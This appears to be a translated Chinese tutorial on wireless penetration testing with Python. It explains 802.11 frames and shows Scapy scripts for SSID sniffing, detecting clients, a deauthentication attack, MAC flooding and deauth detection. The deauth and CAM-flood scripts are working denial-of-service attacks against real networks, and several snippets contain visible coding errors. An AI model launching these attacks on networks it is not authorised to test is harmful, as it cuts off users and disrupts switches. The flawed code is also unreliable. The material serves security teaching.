无线网络渗透测试


无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题。而且,这如何成为一个严重的安全问题——因为在无线连接的情况下,攻击者只需要拥有可用的信号即可进行攻击,而不是像有线网络那样拥有物理访问权限。无线系统的渗透测试比有线网络的渗透测试更容易。我们无法真正对无线介质应用良好的物理安全措施,如果我们距离足够近,我们将能够“听到”(或者至少您的无线适配器能够听到)空中流动的所有内容。

先决条件

在我们深入了解有关无线网络渗透测试的更多信息之前,让我们考虑讨论术语以及客户端与无线系统之间的通信过程。

重要术语

现在让我们了解与无线网络渗透测试相关的重要术语。

接入点 (AP)

接入点 (AP) 是 802.11 无线实施中的中心节点。该点用于将用户连接到网络内的其他用户,也可以作为无线 LAN (WLAN) 和固定有线网络之间的互连点。在WLAN中,AP是发送和接收数据的站点。

服务集标识符 (SSID)

它是 0-32 字节长的人类可读文本字符串,基本上是分配给无线网络的名称。网络中的所有设备都必须使用此区分大小写的名称才能通过无线网络 (Wi-Fi) 进行通信。

基本服务集标识 (BSSID)

它是无线接入点 (AP) 上运行的 Wi-Fi 芯片组的 MAC 地址。它是随机生成的。

通道数

它代表接入点 (AP) 用于传输的射频范围。

客户端与无线系统之间的通信

我们需要了解的另一件重要的事情是客户端和无线系统之间的通信过程。借助下图,我们可以理解相同的内容 -

客户端与无线系统通信

信标框架

在客户端和接入点之间的通信过程中,AP周期性地发送信标帧以表明其存在。该帧带有与 SSID、BSSID 和通道号相关的信息。

探测请求

现在,客户端设备将发送探测请求来检查范围内的 AP。发送探测请求后,将等待AP的探测响应。探测请求包含 AP 的 SSID、供应商特定信息等信息。

探针响应

现在,AP收到探测请求后,会发送探测响应,其中包含支持的数据速率、能力等信息。

身份验证请求

现在,客户端设备将发送包含其身份的身份验证请求帧。

身份验证响应

现在,作为响应,AP 将发送一个身份验证响应帧,指示接受或拒绝。

协会要求

当身份验证成功时,客户端设备发送关联请求帧,其中包含支持的数据速率和AP的SSID。

协会回应

现在,作为响应,AP 将发送一个关联响应帧,指示接受或拒绝。如果接受,将创建客户端设备的关联 ID。

使用 Python 查找无线服务集标识符 (SSID)

我们可以借助原始套接字方法以及使用 Scapy 库来收集有关 SSID 的信息。

原始套接字方法

我们已经知道mon0捕获无线数据包;因此,我们需要将监控模式设置为mon0。在Kali Linux中,可以借助airmon-ng脚本来完成。运行此脚本后,它将为无线卡命名为wlan1。现在借助以下命令,我们需要在mon0上启用监视模式-

airmon-ng start wlan1

以下是原始套接字方法,Python 脚本,它将为我们提供 AP 的 SSID -

首先,我们需要导入套接字模块,如下所示 -

import socket

现在,我们将创建一个具有三个参数的套接字。第一个参数告诉我们有关数据包接口的信息(针对 Linux 的 PF_PACKET,针对 Windows 的 AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包感兴趣。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

现在,下一行将绑定mon0模式和0x0003

s.bind(("mon0", 0x0003))

现在,我们需要声明一个空列表,它将存储 AP 的 SSID。

ap_list = []

现在,我们需要调用recvfrom()方法来接收数据包。为了继续嗅探,我们将使用无限 while 循环。

while True:
   packet = s.recvfrom(2048)

下一行代码显示该帧是否为 8 位,指示信标帧。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

使用 Scapy 进行 SSID 嗅探

Scapy 是最好的库之一,可以让我们轻松嗅探 Wi-Fi 数据包。您可以在https://scapy.readthedocs.io/en/latest/详细了解 Scapy 。首先,在交互模式下运行 Sacpy 并使用命令 conf 获取 iface 的值。默认接口是 eth0。现在我们有了上面的圆顶,我们需要将此模式更改为 mon0。可以按如下方式完成 -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

现在让我们将 Scapy 作为库导入。此外,执行以下 Python 脚本将为我们提供 SSID -

from scapy.all import *

现在,我们需要声明一个空列表来存储 AP 的 SSID。

ap_list = []

现在我们将定义一个名为Packet_info()的函数,它将具有完整的数据包解析逻辑。它将有参数 pkt。

def Packet_info(pkt) :

在下一个语句中,我们将应用一个过滤器,该过滤器将仅通过Dot11流量(即 802.11 流量)。接下来的线路也是一个过滤器,它通过帧类型为 0(代表管理帧)且帧子类型为 8(代表信标帧)的流量。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

现在,嗅探函数将嗅探ifacemon0的数据(对于无线数据包)并调用Packet_info函数。

sniff(iface = "mon0", prn = Packet_info)

为了实现上述Python脚本,我们需要能够使用监听模式嗅探空气的Wi-Fi卡。

检测接入点客户端

为了检测接入点的客户端,我们需要捕获探测请求帧。我们可以像使用 Scapy 在 SSID 嗅探器的 Python 脚本中所做的那样进行操作。我们需要提供Dot11ProbeReq来捕获探测请求帧。以下是用于检测接入点客户端的 Python 脚本 -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

无线攻击

从渗透测试人员的角度来看,了解无线攻击是如何发生的非常重要。在本节中,我们将讨论两种无线攻击 -

  • 取消身份验证(deauth)攻击

  • MAC泛洪攻击

取消身份验证(deauth)攻击

在客户端设备与接入点的通信过程中,每当客户端想要断开连接时,都需要发送解除认证帧。为了响应来自客户端的该帧,AP 还将发送一个解除身份验证帧。攻击者可以通过欺骗受害者的 MAC 地址并向 AP 发送取消身份验证帧来从这个正常过程中获得优势。因此,客户端和 AP 之间的连接会断开。以下是执行解除身份验证攻击的 Python 脚本 -

让我们首先将 Scapy 作为库导入 -

from scapy.all import *
import sys

下面两条语句将分别输入AP和受害者的MAC地址。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

现在,我们需要创建取消身份验证框架。可以通过执行以下语句来创建它。

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

下一行代码表示发送的数据包总数;这里是 500 和两个数据包之间的间隔。

sendp(frame, iface = "mon0", count = 500, inter = .1)

输出

执行后,上述命令会生成以下输出 -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

接下来是创建解除身份验证帧,从而代表客户端将其发送到接入点。这将使它们之间的连接取消。

这里的问题是我们如何使用Python脚本检测解除认证攻击。执行以下 Python 脚本将有助于检测此类攻击 -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上面的脚本中,语句pkt.subtype == 12表示解除验证帧,全局定义的变量 I 表示数据包的数量。

输出

执行上述脚本会生成以下输出 -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC地址泛洪攻击

MAC 地址泛洪攻击(CAM 表泛洪攻击)是一种网络攻击,连接到交换机端口的攻击者使用大量具有不同虚假源 MAC 地址的以太网帧来泛洪交换机接口。当大量 MAC 地址涌入表中并达到 CAM 表阈值时,就会发生 CAM 表溢出。这导致交换机充当集线器,所有端口的流量淹没网络。此类攻击非常容易发起。以下 Python 脚本有助于发起此类 CAM 洪水攻击 -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

此类攻击的主要目的是检查交换机的安全性。如果想要减轻MAC洪泛攻击的影响,就需要使用端口安全。